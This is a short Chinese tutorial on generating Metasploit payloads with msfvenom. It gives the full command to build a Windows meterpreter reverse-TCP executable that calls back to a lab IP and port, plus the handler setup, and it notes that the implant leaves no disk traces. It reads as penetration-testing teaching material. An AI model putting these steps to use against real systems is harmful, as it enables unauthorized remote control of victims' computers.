在 Metasploit 的 Payload 分类下，为我们提供了非常多的被控端程序。
我们可以是用命令查看所有的 Payload：**msfvenom -l payloads**
一共 500 多个被控端程序，随着更新，这个数字还会增加

所有的 Payload 模块的名字都是三段式：操作系统+控制方式+模块具体名称
例如：**windows/meterpreter/reverse_tcp**

Payload 按照操作系统进行分类：windows，Linux，Android，Osx，IOS 等

最后面模块的名称中，一般会给出这个 Payload 是正向控制，还是反向控制

何为正向控制和反向控制？

正向控制：黑客必须知道目标主机的 IP，目标主机作为被控端，在被控程序执行后，不会通知主控端，自己已经上线。
反向控制：黑客不需要知道目标主机 IP，只需要在被控端程序中设置好自己主机的 IP，在被控端程序被激活后，被控端会主动通知主控端，自己已经上线。（反向控制最常用）

生成被控端

在 Kali 中生成被控端的方法有好多种，其中最为简单强大的就是 MsfVenom 命令。
在选择好 Payload 之后，我们接下来就需要给 Payload 设置参数，比如：IP，端口
如果我们第一次使用某个 Payload，不清楚该设置哪些参数，我们可以命令进行查看：
msfvenom -p windows/meterpreter/reverse_tcp --list-options
我们可以使用命令，查看 Metasploit 都支持输出哪些格式：
msfvenom --list formats

MsfVenom 常用参数：
-p　指定 payload(攻击载荷，在这里就是我们要执行的远程控制程序)
-f　设置输出格式，exe 等等，Windows 环境下生成 exe 可执行程序
-o　设置输出目录，就是我们生成的 exe 存放在哪里
练习：使用 windows/meterpreter/reverse_tcp 反向控制程序生成一个 exe 被控端。
它有两个参数：
lhost 主控端的 IP，也就是我们 Kali 的 IP
lport 使用到的端口

最后，我们设置文件输出存放的目录以及文件生成之后的名称
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.23.139 lport=5555 -f exe -o /root/payload.exe

如何在 Kali Linux 中启动主控端

有了被控端之后，我们还需要主控端，才能实现真正的远程控制。
打开 Metasploit
使用 handler 作为主控端，use exploit/multi/handler
设置 payload，lhost，lport 参数
exploit 执行主控端

我们使用的 meterpreter 是运行在内存中，通过 dll 文件注入实现，在目标电脑的硬盘上不会留下痕迹。